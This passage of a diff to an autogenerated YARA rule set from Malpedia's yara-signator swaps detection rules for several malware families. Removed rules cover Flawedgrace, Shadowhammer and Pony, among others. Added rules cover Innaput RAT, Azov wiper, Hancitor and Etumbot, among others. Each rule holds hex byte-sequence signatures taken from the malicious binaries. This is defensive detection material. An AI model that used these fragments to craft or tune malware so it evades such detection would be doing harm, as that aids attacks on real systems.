-		$sequence_8 = { 64a300000000 8965f0 8b7508 8b7d0c 8975ec c745fc00000000 0f1f440000 }
-		$sequence_9 = { 8bc3 2bc2 894714 8b7508 8bce e8???????? 84c0 }
+		$sequence_0 = { c3 c3 53 83ec08 e8???????? 31d2 8b5c2414 }
+		$sequence_1 = { 8b5c2410 837c241400 740b 83ec0c ff7304 ff13 83c410 }
+		$sequence_2 = { 50 52 e8???????? 58 8d8424d8170000 50 e8???????? }
+		$sequence_3 = { 8d4400e0 50 e8???????? 89c2 a3???????? 83c410 83c8ff }
+		$sequence_4 = { 817c2414ff030000 0f8770030000 8b442414 c1e004 83b888a2050800 0f85df000000 8b0d???????? }
+		$sequence_5 = { c7042408000000 50 a1???????? 6a1a 6a01 50 e8???????? }
+		$sequence_6 = { 83c418 5b c3 81ecac000000 31d2 a1???????? }
+		$sequence_7 = { 85c0 74cb e8???????? 52 52 8b00 }
+		$sequence_8 = { c680b901000000 8b45f0 e8???????? 89f0 8b55f0 e8???????? 8b45f0 }
+		$sequence_9 = { 83c004 89442418 e9???????? bf0a000000 e9???????? bf10000000 e9???????? }
 
 	condition:
-		7 of them and filesize <1091584
+		7 of them and filesize <229376
 }
-rule MALPEDIA_Win_Flawedgrace_Auto : FILE
+rule MALPEDIA_Win_Innaput_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "62521b13-13e2-5f89-b92f-7685ad3e5d40"
+		id = "bdbf07bd-d4a4-5362-b354-c606ef8af022"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flawedgrace_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.innaput_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.innaput_rat_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "3a2e50b467b7ecb293ee257669feacddf7970c96ed36da3edcb02bab7c5dbcd0"
+		logic_hash = "f6067a2a0e56ef408d96b72de49c1461531d24eb998121258442401a90d43684"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129615,32 +136698,32 @@ rule MALPEDIA_Win_Flawedgrace_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 894110 8b450c 89411c 8a03 884124 8b45f4 c7411800000000 }
-		$sequence_1 = { c1e810 0fb6c0 330c85e0bb4500 0fb6c2 c1ea08 330c85e0b34500 334fb8 }
-		$sequence_2 = { ff15???????? 8bf8 85ff 0f8493000000 8bce e8???????? 8d5704 }
-		$sequence_3 = { 50 8b85c0feffff ff7004 50 e8???????? 8b55e8 }
-		$sequence_4 = { c68564dcffffda c68565dcffff02 c68566dcffff48 c68567dcffff65 c68568dcffff61 c68569dcffff70 c6856adcffff52 }
-		$sequence_5 = { c6857fcfffff48 c68580cfffff83 c68581cfffffec c68582cfffff20 c68583cfffff4c c68584cfffff8b c68585cfffffc8 }
-		$sequence_6 = { 3355f0 33da 8955e8 330c85e0d34500 8bc2 898eb0000000 8bca }
-		$sequence_7 = { c6852ee8ffff65 c6852fe8ffff6c c68530e8ffff6f c68531e8ffff63 c68532e8ffff00 c68533e8ffff00 c68534e8ffff50 }
-		$sequence_8 = { 8975fc e8???????? 50 83c010 50 51 }
-		$sequence_9 = { c68516e5ffff00 c68517e5ffff00 c68518e5ffff00 c68519e5ffff00 c6851ae5ffff00 c6851be5ffff00 c6851ce5ffff00 }
+		$sequence_0 = { e8???????? 59 85c0 7427 ffb720060000 }
+		$sequence_1 = { ffd7 8b4510 898618060000 8b4514 8b00 }
+		$sequence_2 = { 8b06 894710 ff7604 035e08 ff5708 56 ff5708 }
+		$sequence_3 = { 8d7710 eb02 8b36 391e 75fa 6a0c }
+		$sequence_4 = { 8945fc ff15???????? 33db 395f10 }
+		$sequence_5 = { ff15???????? ffb718060000 ff15???????? 85c0 }
+		$sequence_6 = { 8b460c 83f8ff 7404 3bc3 751b }
+		$sequence_7 = { eb02 8b36 391e 75fa 6a0c ff5704 59 }
+		$sequence_8 = { 83f8ff 7404 3bc3 751b }
+		$sequence_9 = { b001 ebd3 55 8bec }
 
 	condition:
-		7 of them and filesize <966656
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Shadowhammer_Auto : FILE
+rule MALPEDIA_Win_Azov_Wiper_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "194406b6-a98b-5404-b2f3-d5df631c65c0"
+		id = "76e58a84-2854-5930-bc99-d7f7733110e9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowhammer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shadowhammer_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.azov_wiper"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.azov_wiper_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "34aeb940c0c6ad0698f1f0e3ab023525d38575b33eb7ba408d437819a37427e5"
+		logic_hash = "b6d671c16b8dc6a9d2872e0b93ec5fc03d8fe956d8f9494205bfd799936a0b79"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129654,34 +136737,34 @@ rule MALPEDIA_Win_Shadowhammer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 03d3 03f3 03fb 894dfc 8945f4 }
-		$sequence_1 = { c3 e8???????? c21000 8bff 55 8bec 833d????????01 }
-		$sequence_2 = { 8dbd7dfdffff ab ab ab ab }
-		$sequence_3 = { 58 6a2d 66894584 58 }
-		$sequence_4 = { 685ac1cbc2 56 e8???????? 59 59 85c0 }
-		$sequence_5 = { c78564ffffff103ee0fc c78568ffffffb0cf4161 c7856cffffffb0fafb19 8dbd70ffffff }
-		$sequence_6 = { 8d45e8 50 ff75fc 895de8 8b07 }
-		$sequence_7 = { c78544fdffff6a0ad740 c78548fdffff667aadbd 33c0 8dbd4cfdffff ab 889d50fdffff 8dbd51fdffff }
-		$sequence_8 = { 8dbdfcfdffff ab 889d00feffff 8dbd01feffff ab ab }
-		$sequence_9 = { 8945a8 8d8574ffffff 33ff 8945ac 8d45b8 }
+		$sequence_0 = { 4c8bc8 4885c0 7455 488d442440 }
+		$sequence_1 = { 488d5201 6685c0 75ee 488b05???????? 488bcb 488b10 ff9250010000 }
+		$sequence_2 = { 41ff9288010000 85c0 740f 4881c79a020000 4889bc2410030000 483bbc2418030000 0f8c73ffffff }
+		$sequence_3 = { 48894c2440 4533c0 48898c2470080000 4c8b10 488d842470080000 }
+		$sequence_4 = { 33d2 33c9 48897c2420 4c8b10 41ff92b0000000 8bce }
+		$sequence_5 = { 4c8b00 41ff5058 85c0 0f84c6000000 4c89b42480000000 448d4b04 }
+		$sequence_6 = { 488bcb 4c8b10 41ff9288010000 85c0 740f 4881c79a020000 }
+		$sequence_7 = { 4883ec20 4080e4f0 c645f356 c645f469 c645f572 }
+		$sequence_8 = { 488945f8 4883ec08 48890424 4883ec08 }
+		$sequence_9 = { 0f8493000000 488bd0 488bcb 482bd3 }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Gibberish_Auto : FILE
+rule MALPEDIA_Win_Hancitor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "409a50f2-d1ad-54e1-a200-e21294aa9e4e"
+		id = "e94e88e2-da44-5855-8e98-8220d615aa1e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gibberish"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gibberish_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hancitor_auto.yar#L1-L234"
 		license_url = "N/A"
-		logic_hash = "57f29d590beea21c748ae9324417e51d5ad871133bb0f66df9972b1b6e5d5d7b"
+		logic_hash = "3fe1f27a710b2ccfc55ec6a2163075344a7f89cf27a8c741d778d1b9ea2b6391"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -129693,34 +136776,48 @@ rule MALPEDIA_Win_Gibberish_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 8945a4 e8???????? 8b4dac 8b45a4 6a41 }
-		$sequence_1 = { 8b75e8 8b7dec e9???????? f30f7e4de8 0f1045d8 eb03 }
-		$sequence_2 = { c1e908 894c2410 8b4c2418 3314c5e1a14700 0fb6c1 c1e908 }
-		$sequence_3 = { e8???????? 84c0 0f849a000000 33c0 668985dcf9ffff 8d85e8fbffff 68???????? }
-		$sequence_4 = { 8944243c 8b4124 89442440 8b4128 8d4c241c c744241c209d4500 c7442420d49d4500 }
-		$sequence_5 = { 894db0 8d4dc0 50 c745d000000000 c745d40f000000 c645c000 e8???????? }
-		$sequence_6 = { 81fae3000000 7cc4 81fa6f020000 7d3a 57 8d3c9518bd4700 }
-		$sequence_7 = { 68???????? 53 53 ff15???????? 8b55ac 8b4da8 890491 }
-		$sequence_8 = { ff15???????? 66898435fdfbffff 83c607 53 56 8d85f8fbffff 50 }
-		$sequence_9 = { 8b45d4 8d4dd8 8b55d0 83ff10 8b7dd8 0f43cf 2bc2 }
+		$sequence_0 = { 6a00 6824040000 6a00 6a00 6a00 }
+		$sequence_1 = { 6800010000 6a40 68???????? e8???????? }
+		$sequence_2 = { 8bec a1???????? 85c0 740c ff7508 6a00 50 }
+		$sequence_3 = { 8bec 8b4d08 6a00 6a01 51 }
+		$sequence_4 = { 68???????? ff7508 c605????????00 ff15???????? }
+		$sequence_5 = { a3???????? 85c0 7502 5d c3 ff7508 6a00 }
+		$sequence_6 = { 8b4df4 51 8b55f8 52 8b4510 }
+		$sequence_7 = { 8b4d08 0fbe11 83fa7d 750e }
+		$sequence_8 = { 8bd8 83fbff 7509 6a00 57 }
+		$sequence_9 = { 6a00 6a01 8b5508 52 ff55f4 33c0 8be5 }
+		$sequence_10 = { 8b4df4 8b5104 83ea08 d1ea 8955d4 }
+		$sequence_11 = { c60600 ff15???????? 8b3d???????? 85c0 740a }
+		$sequence_12 = { 8b4dec 8b55f4 035128 8b4518 8910 eb02 }
+		$sequence_13 = { 8945f8 8b4df8 894df4 6a00 6a01 }
+		$sequence_14 = { 7411 8d85f4fdffff 50 8b4d08 51 }
+		$sequence_15 = { 8b4d08 53 56 57 8b413c }
+		$sequence_16 = { 8945cc 8365e400 c745bc0a000000 eb07 8b45bc }
+		$sequence_17 = { c3 4b fd 008d4556f400 08640f08 ed fec3 }
+		$sequence_18 = { a1???????? 8945b4 a1???????? 83c044 a3???????? 8b45b4 83e803 }
+		$sequence_19 = { b9382baa99 c7458ce4f25701 ff15???????? 894da0 a1???????? }
+		$sequence_20 = { 6a00 6a00 ff15???????? c745a064000000 }
+		$sequence_21 = { c645f300 c645fc65 c645fd00 c745f8dc030000 8365b800 }
+		$sequence_22 = { 8945dc e9???????? b9382baa99 c745f464000000 }
+		$sequence_23 = { 0f8482000000 c645f301 0fb645f3 85c0 7476 a1???????? 83c044 }
 
 	condition:
-		7 of them and filesize <1068032
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Goldenspy_Auto : FILE
+rule MALPEDIA_Win_Etumbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2db85832-8503-5134-9cf2-a79f16f8ed47"
+		id = "73e6da41-e3d5-504c-8c80-6f8ec05bab3e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.goldenspy_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.etumbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.etumbot_auto.yar#L1-L332"
 		license_url = "N/A"
-		logic_hash = "45ec0195c1eec86aab8f23405836b0cab0b81ad642d99b8dc40b2feb153827cd"
+		logic_hash = "564ae417565d87b67b974a9ba2ad8948ae9936f9dac5ee557fc27d8a92da27f9"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -129732,32 +136829,59 @@ rule MALPEDIA_Win_Goldenspy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f87e4000000 e9???????? 83c754 837f1000 740f 68???????? 8bcf }
-		$sequence_1 = { 83c0fc 83f81f 0f8777060000 52 51 e8???????? 83c408 }
-		$sequence_2 = { 8b7608 807e0d00 74a8 8b4de8 8b5de4 }
-		$sequence_3 = { e8???????? 8b551c 83fa10 0f82b8fcffff 8b4d08 42 8bc1 }
-		$sequence_4 = { e8???????? 51 68???????? 8bcb e8???????? 8b83c8000000 }
-		$sequence_5 = { 8d4dd8 6a1a 68???????? c745e800000000 c745ec0f000000 c645d800 e8???????? }
-		$sequence_6 = { 57 68???????? e8???????? 8d47ff 83c408 83f804 }
-		$sequence_7 = { 75f2 8b5308 8bf2 8b7b14 0f1f00 8a02 42 }
-		$sequence_8 = { ff75e4 ff461c 8d4628 50 e8???????? 897e30 c7463400000000 }
-		$sequence_9 = { 8b85f8feffff 8b4004 c78405f8feffffb4e24600 8b85f8feffff 8b4804 8d41b0 89840df4feffff }
+		$sequence_0 = { 8811 8a00 02c2 0fb6c0 8a8405fcfeffff 320437 8806 }
+		$sequence_1 = { 8bec 53 56 57 8b3d???????? ffd7 }
+		$sequence_2 = { 7407 8bf9 c1ef18 33c7 f7d1 23c1 }
+		$sequence_3 = { c745ac5c5c4d69 c745b063726f73 c745b46f66745c c745b85c57696e }
+		$sequence_4 = { c1e004 03c1 8bc8 81e1000000f0 7407 8bf9 }
+		$sequence_5 = { 8d45f4 6820a10700 50 68???????? 68???????? }
+		$sequence_6 = { c745c05c5c4375 c745c47272656e c745c874566572 c745cc73696f6e c745d05c5c496e }
+		$sequence_7 = { 42 4e 75df 5f }
+		$sequence_8 = { ffd7 8b7508 8bd8 69f660ea0000 }
+		$sequence_9 = { c745b46f66745c c745b85c57696e c745bc646f7773 c745c05c5c4375 }
+		$sequence_10 = { 57 0fbe38 33f6 33db }
+		$sequence_11 = { c745d47465726e c745d865742053 c745dc65747469 c745e06e677300 }
+		$sequence_12 = { f7d1 23c1 42 4e }
+		$sequence_13 = { ffd7 2bc3 3bc6 72ed }
+		$sequence_14 = { c645bf69 c645c062 c645c16c c645c265 }
+		$sequence_15 = { 80e10f c0e102 c0eb06 02cb }
+		$sequence_16 = { c645c16c c645c265 c645c33b c645c420 }
+		$sequence_17 = { 56 8bf1 8b08 83f903 }
+		$sequence_18 = { c645c54d c645c653 c645c749 c645c845 c645c920 }
+		$sequence_19 = { 84c9 74b6 5f 5e 8bc2 }
+		$sequence_20 = { 33c0 56 89442418 57 89442420 }
+		$sequence_21 = { 0345f0 8b4d08 034dec 8a11 8810 8b45f0 83c001 }
+		$sequence_22 = { 750d 83c01c 8bce 50 e8???????? }
+		$sequence_23 = { 8d4a01 83c404 8bd1 c1e902 f3ab 8bca 83e103 }
+		$sequence_24 = { 83c204 3b5514 7608 83c8ff }
+		$sequence_25 = { 83c104 3b4d14 7608 83c8ff }
+		$sequence_26 = { 53 57 e8???????? 8d86b0000000 50 }
+		$sequence_27 = { 034df0 8b5508 0355ec 8a02 }
+		$sequence_28 = { 52 e8???????? 83c404 e9???????? 6a05 }
+		$sequence_29 = { c645d057 c645d169 c645d26e c645d364 }
+		$sequence_30 = { 6a00 68???????? 6a00 6a00 6a00 51 68???????? }
+		$sequence_31 = { 83fa01 7538 8b4514 8b19 0fb60438 c1e802 }
+		$sequence_32 = { 46 eb0f 0fb6d2 f68201ce400004 7403 40 ff01 }
+		$sequence_33 = { 8b4d08 83c101 894d08 8b550c 83ea03 }
+		$sequence_34 = { 50 57 8bce e8???????? 8d45f0 8d7e70 }
+		$sequence_35 = { c68543fffffff7 c68544ffffff52 c68545ffffff91 c68546ffffff1c c68547fffffff7 c68548ffffff64 c68549ffffffa3 }
+		$sequence_36 = { c685ddfdffffa4 c685defdffffb3 c685dffdffff02 c685e0fdffff30 c685e1fdffffd6 c685e2fdfffffb }
 
 	condition:
-		7 of them and filesize <1081344
+		7 of them and filesize <450560
 }
-rule MALPEDIA_Win_Miniasp_Auto : FILE
+rule MALPEDIA_Win_Powerloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a296e0dd-d471-5c91-a6b1-780906aaa535"
+		id = "7f4f5f46-fc37-546a-a6e8-709a0ba38743"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miniasp"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.miniasp_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.powerloader_auto.yar#L1-L108"
 		license_url = "N/A"
-		logic_hash = "9a4758ded83cb0970a2c1c85a01ff8f2f0263c333e1e2d45a290cc1db4a95dd4"
+		logic_hash = "793f3dbd327274c0d84943d43e404acbb8cb72be0435ee1a3f9e0ada37088a0f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129771,32 +136895,32 @@ rule MALPEDIA_Win_Miniasp_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b45c0 898550ffffff 8b8550ffffff 40 89854cffffff 8b8550ffffff }
-		$sequence_1 = { ff15???????? 85c0 751b c785c0fbffff10d84000 68???????? 8d85c0fbffff 50 }
-		$sequence_2 = { 8b4508 0345f0 0fbe4002 83f841 7c15 8b4508 }
-		$sequence_3 = { 747c 8b45f4 8945d8 8b45d8 40 8945d4 8b45d8 }
-		$sequence_4 = { 83a564ffffff00 eb0b 1bc0 83d8ff 898564ffffff }
-		$sequence_5 = { 6a00 ff75f8 e8???????? 83c40c 6804010000 6a00 }
-		$sequence_6 = { 68???????? 8d85c0fbffff 50 e8???????? b001 5f 5e }
-		$sequence_7 = { ff15???????? 85c0 7534 ff15???????? 3d882f0000 7427 ff75f8 }
-		$sequence_8 = { 0f8516010000 8b45ec 8b00 8b4dec ff5020 8945f4 837df400 }
-		$sequence_9 = { 8985ecfbffff 8b85ecfbffff 3b45fc 7728 6a01 68???????? 8b4508 }
+		$sequence_0 = { e8???????? eb22 33c9 66666666660f1f840000000000 0fb6840c30010000 }
+		$sequence_1 = { 8bf2 32db e8???????? 3bc7 7349 }
+		$sequence_2 = { e8???????? 0fb6d8 84c0 7514 }
+		$sequence_3 = { e8???????? 0fb6d8 84c0 7514 ff15???????? }
+		$sequence_4 = { 33d2 c605????????00 e8???????? 0fb6c3 }
+		$sequence_5 = { 32db e8???????? 3bc7 7349 }
+		$sequence_6 = { e8???????? eb22 33c9 66666666660f1f840000000000 }
+		$sequence_7 = { e8???????? 8b7c2430 85ed 740d }
+		$sequence_8 = { ff15???????? 83f81f 7323 ff15???????? }
+		$sequence_9 = { ff15???????? 83f803 7405 83f802 7530 }
 
 	condition:
-		7 of them and filesize <139264
+		7 of them and filesize <155648
 }
-rule MALPEDIA_Win_Newbounce_Auto : FILE
+rule MALPEDIA_Win_Findpos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "70b5f47a-ee55-5897-8fcd-06a813c41881"
+		id = "06e6ab2e-1688-507b-a649-5420f969f64c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newbounce"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.newbounce_auto.yar#L1-L151"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.findpos_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "53d4154f041c8f5d8c7be0de086b650af8bff8de758570421d79234a0be341f3"
+		logic_hash = "89f2603a026fe078dffd243a5f02eea72ee3cfa2b2eca87062e133a5a2b51b38"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129810,37 +136934,32 @@ rule MALPEDIA_Win_Newbounce_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83e00f 7e05 2bf0 83c610 }
-		$sequence_1 = { ff15???????? 85c0 0f844b010000 ba28000000 }
-		$sequence_2 = { ff15???????? 85c0 0f8437020000 8b4c2428 }
-		$sequence_3 = { ff15???????? 85c0 0f8436020000 4889bc2428010000 c784242001000022000000 c784241801000073252000 c78424100100006b2d2000 }
-		$sequence_4 = { 75f5 49ffc8 75eb 488d8104020000 }
-		$sequence_5 = { e8???????? cc b201 488bcf e8???????? 4c8d1d8f920100 488d5547 }
-		$sequence_6 = { 75f2 ebe3 488d154ac20100 498bcc 4d8bc7 }
-		$sequence_7 = { 75f5 49ffc9 75e8 488d8e54030000 }
-		$sequence_8 = { 81e3c0000000 0bf3 c1ee06 0b14b5b0876300 }
-		$sequence_9 = { 81e300000600 c1ea14 8b1495b0896300 81e6000f0000 }
-		$sequence_10 = { 81e300e00100 0bf3 c1ee0d 0b0cb5b0886300 }
-		$sequence_11 = { 81e2ff000000 8b0c8d48436300 8b1c9d48476300 33cb 8b1c85484b6300 2bcb }
-		$sequence_12 = { 81e2ff000000 c1e808 c1e208 53 }
-		$sequence_13 = { 81e3001e0000 8bef 81e50000e001 0bf5 c1ee15 8b34b5b08d6300 }
-		$sequence_14 = { 81e3001e0000 8bd5 81e280010000 0bda 8b14b5b08d6300 }
+		$sequence_0 = { 48 0f844b050000 33c0 8d8c24f0010000 50 51 8d8c243c020000 }
+		$sequence_1 = { 68???????? e8???????? a1???????? 59 59 83c010 a3???????? }
+		$sequence_2 = { 7671 8365d400 8d55d4 8bcf }
+		$sequence_3 = { 8bcf e8???????? 8325????????00 833d????????10 68???????? 0f4335???????? }
+		$sequence_4 = { 8b0cb8 03cb e8???????? 85c0 7414 8b4df0 }
+		$sequence_5 = { eb29 8a01 3c33 7505 }
+		$sequence_6 = { 8945f8 8d45f8 50 c745ec00200000 ff15???????? 85c0 745f }
+		$sequence_7 = { 3b08 7518 53 51 51 6a01 8d45e4 }
+		$sequence_8 = { 50 0fb6c1 50 8d85e8e7ffff 50 }
+		$sequence_9 = { 33f6 46 3bc6 0f8577040000 6a11 ffd7 663bc6 }
 
 	condition:
-		7 of them and filesize <8637440
+		7 of them and filesize <286720
 }
-rule MALPEDIA_Win_Cryptoshield_Auto : FILE
+rule MALPEDIA_Win_Greenshaitan_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "96d07897-e994-52cb-aaa7-059e98a50194"
+		id = "d06953fb-38e3-55db-9793-3faef3649e6a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshield"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptoshield_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.greenshaitan_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "306896178ef65ef3c9170a20c235107c29dca1bfe925c06dc43c71750e345a6d"
+		logic_hash = "67bf6d74e4d0fa44058834ba5470ffb949ca80488520bfdf122c691ce2d70d18"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129854,32 +136973,32 @@ rule MALPEDIA_Win_Cryptoshield_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b18 8b45fc 85c0 740e }
-		$sequence_1 = { 50 ffd7 83c40c 8d442418 50 8d84242c020000 68???????? }
-		$sequence_2 = { 50 8d442428 50 ff15???????? 8d842430040000 }
-		$sequence_3 = { 85c0 7461 ff7508 6a40 ff15???????? }
-		$sequence_4 = { 750b 83c202 66833a00 75ce eb08 }
-		$sequence_5 = { 6a00 6a23 50 6a00 ff15???????? 8d85f4fdffff 50 }
-		$sequence_6 = { b90a000000 83f801 0f44f1 8b4dfc }
-		$sequence_7 = { be09000000 8bc6 5e 8b4dfc 33cd e8???????? 8be5 }
-		$sequence_8 = { 56 6814010000 33f6 8d85e0feffff 56 }
-		$sequence_9 = { 56 ff15???????? 85ff 0f45df 5f 5e 8bc3 }
+		$sequence_0 = { 8b460c 8d542434 52 50 }
+		$sequence_1 = { 6a00 51 50 b940000000 e8???????? 8bf0 eb02 }
+		$sequence_2 = { 81ce00ffffff 46 8a1c0e 881c0f 88040e 8d4201 99 }
+		$sequence_3 = { 8b442444 8b4c2440 8b7c243c 50 51 8d542418 52 }
+		$sequence_4 = { e8???????? 85ed 740c 8b4500 eb09 8b4500 8bc8 }
+		$sequence_5 = { 51 ff15???????? 8b8c240c200000 5e 5d }
+		$sequence_6 = { 0fb69b685b6e00 8819 0fb6d2 8bda c1eb04 c1e004 0bd8 }
+		$sequence_7 = { 8bc8 ebe1 33c0 397814 770e 85ed 7405 }
+		$sequence_8 = { 33f6 8bc5 99 6a00 52 c644244400 50 }
+		$sequence_9 = { 720d 8b542434 52 e8???????? 83c404 c784248c000000ffffffff 897c2448 }
 
 	condition:
-		7 of them and filesize <131072
+		7 of them and filesize <253952
 }
-rule MALPEDIA_Win_Pony_Auto : FILE
+rule MALPEDIA_Win_Radamant_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d90fd047-9438-55a9-9e35-1d6c2ea6d18d"
+		id = "1ede87f9-320c-576f-9524-930f09ad6207"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pony"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pony_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.radamant"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.radamant_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "8fcd4026be1a9e152c2bd589ec65b90e934cc06d61e86dd6cd06c58ac6d41a1e"
+		logic_hash = "add6ca5b01c9d6d8dad27d0b268d58bbdb18019e152c79d40b24c8426bcce310"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -129893,32 +137012,32 @@ rule MALPEDIA_Win_Pony_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c20400 55 89e5 83ec18 53 }
-		$sequence_1 = { c745f400000000 8d45f8 50 ff7508 6a00 ff15???????? }
-		$sequence_2 = { bfffffffff 33f9 0bf8 33fb 8d941792cc0c8f 03560c }
-		$sequence_3 = { ff75e8 ff7508 e8???????? 23d8 ff75ec e8???????? }
-		$sequence_4 = { f7d0 50 ff7508 e8???????? c9 c20400 }
-		$sequence_5 = { ff7514 e8???????? eb0d 68???????? }
-		$sequence_6 = { c9 c20400 55 8bec 83c4fc ff7514 ff7510 }
-		$sequence_7 = { ff75c8 e8???????? ff75c4 e8???????? ff75bc }
-		$sequence_8 = { b9ffffffff f2ae 3807 75c5 6a1a ff7508 }
-		$sequence_9 = { e8???????? ff7510 6a18 ff7508 e8???????? ff7510 }
+		$sequence_0 = { 8802 8b5510 42 8b45f8 }
+		$sequence_1 = { 890424 e8???????? 8b85c8f6ffff 890424 e8???????? 8b85d4f6ffff 890424 }
+		$sequence_2 = { 8d45f0 ff00 eb9b c9 }
+		$sequence_3 = { 01d0 8d148500000000 01d0 29c1 89c8 83c061 8945b0 }
+		$sequence_4 = { 331485b0164100 89d0 8945e8 8b55fc 83c204 8b45f4 c1e818 }
+		$sequence_5 = { 8d148500000000 01d0 29c1 89c8 83c061 8945b0 }
+		$sequence_6 = { c1e818 0fb6c0 0fb680b0094100 31d0 8901 8b4df4 83c124 }
